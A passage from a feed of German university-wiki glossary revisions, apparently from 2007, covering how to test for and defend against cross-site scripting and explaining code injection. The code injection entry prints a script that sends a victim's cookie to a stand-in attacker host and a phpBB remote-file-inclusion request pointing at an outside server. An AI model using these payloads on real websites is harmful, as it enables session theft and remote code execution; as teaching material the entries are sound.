z.B. in Form einer Fehlermeldung wie „Invalid login ’test’“ wieder auftauchen.&lt;br /&gt;
Falls der Teststring ausgegeben wurde, kann getestet werden, ob die Seite gegen XSS&lt;br /&gt;
geschützt ist.&lt;br /&gt;
&lt;br /&gt;
Dazu wird in das selbe Feld JavaScript Code eingetragen, wie z.B.&lt;br /&gt;
„&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;“ und an den Server übermittelt. Falls nun ein Pop-up-Fenster aufgeht,&lt;br /&gt;
in dem „hello“ zu sehen ist, ist die untersuchte Seite eindeutig von XSS betroffen.&lt;br /&gt;
&lt;br /&gt;
Auch wenn kein Fenster aufgeht, kann es sein, dass der neu generierte HTML-Code den eingetragenen&lt;br /&gt;
String enthält und dieser nur nicht vom verwendeten Browser ausgeführt wurde, da&lt;br /&gt;
beispielsweise JavaScript deaktiviert ist. Um also sicher ausschließen zu können, dass die Seite&lt;br /&gt;
diesem kleinen „Anschlag“ widerstanden hat, sollte der generierte HTML-Code untersucht und&lt;br /&gt;
geprüft werden, ob der eingetragene String (&amp;lt;script&amp;gt;alert(’hello’)&amp;lt;/script&amp;gt;) im HTML-Code der&lt;br /&gt;
Seite auftaucht oder nicht.&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
Viele Programmiersprachen bringen von Haus aus Sicherheitsoptionen mit sich, die auch eingesetzt&lt;br /&gt;
werden sollten, wie z.B. die Möglichkeiten die PHP mitbringt, um Zugriffe von außen zu&lt;br /&gt;
vermeiden. Da PHP eine der Skriptsprachen ist, die heutzutage am häufigsten verwendet wird,&lt;br /&gt;
um Internetauftritte zu gestalten, werden einige der relevanten Sicherheitsoptionen nachfolgend&lt;br /&gt;
kurz vorgestellt:&lt;br /&gt;
&amp;lt;b&amp;gt;– allow_url_fopen = off&amp;lt;/b&amp;gt;&lt;br /&gt;
Diese Option erlaubt es, PHP-Skripten nur noch lokale Dateien des Servers einzubinden. Damit&lt;br /&gt;
können keine Skripte von externen Servern mehr ausgeführt werden.&lt;br /&gt;
&amp;lt;b&amp;gt;– open_basedir = /pfad/zum/www-ordner&amp;lt;/b&amp;gt;&lt;br /&gt;
schränkt den Arbeitsbereich der Anwendung auf ein Verzeichnis ein. Die Applikation ist nicht&lt;br /&gt;
mehr in der Lage Dateien außerhalb dieses Verzeichnisses zu öffnen. Die Unterordner dieses&lt;br /&gt;
Verzeichnisses können weiterhin benutzt werden.&lt;br /&gt;
&amp;lt;b&amp;gt;– save-mode = on&amp;lt;/b&amp;gt;&lt;br /&gt;
schränkt die Zugriffsrechte der PHP-Anwendung ein auf Dateien die dem Nutzer gehören.&lt;br /&gt;
Darüber hinaus werden auch einige gefährliche Funktionen wie shell-exec() gesperrt. Eine&lt;br /&gt;
weitere Steuerung ist durch weitere Optionen dennoch möglich.&lt;br /&gt;
&amp;lt;b&amp;gt;– display_errors = off&amp;lt;/b&amp;gt;&lt;br /&gt;
Da manche Angriffe gezielt Fehlermeldungen provozieren um z.B. Systempfade&lt;br /&gt;
zur Applikation auszulesen, bietet diese Option die Möglichkeit, das Ausgeben von&lt;br /&gt;
Fehlermeldungen zu unterbinden.&lt;br /&gt;
&lt;br /&gt;
Neben dem sauberen Programmieren sollte grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstraut werden. Diese Daten sollten als unsicher&lt;br /&gt;
angesehen und auf Gültigkeit hin geprüft werden. Das gilt auch für die Variablen in den URLs!&lt;br /&gt;
&lt;br /&gt;
Es sollten keine ungefilterten Strings zur Weiterverarbeitung durchgereicht werden, also z.B.&lt;br /&gt;
Steuerzeichen durch ihre Escapesequenzen ersetzen.&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehrausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&lt;br /&gt;
&lt;br /&gt;
Deswegen gibt es listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Es wird dabei das [[Whitelisting]] und das [[Blacklisting]] unterschieden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&lt;br /&gt;
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/&lt;br /&gt;
news/meldung/89885&lt;br /&gt;
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/&lt;br /&gt;
articles/code-injection.html&lt;br /&gt;
[10] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&lt;br /&gt;
[11] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,&lt;br /&gt;
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8&lt;br /&gt;
[12] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu&lt;br /&gt;
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8&lt;br /&gt;
[13] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1&lt;br /&gt;
[14] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.&lt;br /&gt;
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches&lt;br /&gt;
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&lt;br /&gt;
[15] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.&lt;br /&gt;
-ISBN 3-540-63391-X&lt;br /&gt;
[16] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[SQL Injection]]&lt;br /&gt;
*[[Codeinjection]]&lt;br /&gt;
*[[Whitelisting]]&lt;br /&gt;
*[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9659</id>
		<title>Code Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9659"/>
		<updated>2007-06-25T14:35:37Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also&lt;br /&gt;
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite&lt;br /&gt;
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes&lt;br /&gt;
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,&lt;br /&gt;
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese&lt;br /&gt;
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die&lt;br /&gt;
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den&lt;br /&gt;
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code&lt;br /&gt;
verwendet werden.&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Stehlen eines Cookies=&lt;br /&gt;
&lt;br /&gt;
Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit&lt;br /&gt;
&lt;br /&gt;
setcookie(&amp;quot;xss&amp;quot; , &amp;quot;This content will be stored in a cookie&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
ein Cookie mit dem Namen xss und dem Inhalt &amp;quot;This content will be stored in a cookie&amp;quot; beim Benutzer an.&lt;br /&gt;
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).&lt;br /&gt;
&lt;br /&gt;
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des&lt;br /&gt;
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:&lt;br /&gt;
&amp;lt;scrpt&amp;gt;document.location=&amp;quot;http://www.evilsite.com/evilscript.php?&lt;br /&gt;
info=&amp;quot;+document.cookie;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Anschließend wird im Browser, der folgende Link angezeigt:&lt;br /&gt;
&lt;br /&gt;
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Umleitung einer Seite=&lt;br /&gt;
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-&lt;br /&gt;
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP&lt;br /&gt;
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [10] vorgeführt.&lt;br /&gt;
&lt;br /&gt;
Mit der Anweisung&lt;br /&gt;
&lt;br /&gt;
include_once($phpbb_root_path=’common.php’)&lt;br /&gt;
&lt;br /&gt;
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,&lt;br /&gt;
indem man die dynamische Seite mit folgendem Code „fütterte“ :&lt;br /&gt;
/plugin.php&amp;amp;phpbb_root_path=http://evil.de&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt&lt;br /&gt;
wurde.&lt;br /&gt;
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.&lt;br /&gt;
&lt;br /&gt;
=Gängige Vertreter=&lt;br /&gt;
[[SQL Injection]], wird am häufigsten eingesetzt&lt;br /&gt;
&lt;br /&gt;
[[LDAP Injection]]&lt;br /&gt;
&lt;br /&gt;
[[SSI Injection]]&lt;br /&gt;
&lt;br /&gt;
[[XPath Injection]]&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.&lt;br /&gt;
ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&lt;br /&gt;
&lt;br /&gt;
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&lt;br /&gt;
&lt;br /&gt;
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&lt;br /&gt;
&lt;br /&gt;
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&lt;br /&gt;
&lt;br /&gt;
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,&lt;br /&gt;
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8&lt;br /&gt;
&lt;br /&gt;
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu&lt;br /&gt;
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8&lt;br /&gt;
&lt;br /&gt;
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1&lt;br /&gt;
&lt;br /&gt;
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.&lt;br /&gt;
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches&lt;br /&gt;
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&lt;br /&gt;
&lt;br /&gt;
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.&lt;br /&gt;
-ISBN 3-540-63391-X&lt;br /&gt;
&lt;br /&gt;
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
[[Cross Site Scripting]]&lt;br /&gt;
&lt;br /&gt;
[[Whitelisting]]&lt;br /&gt;
&lt;br /&gt;
[[Blacklisting]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
</feed>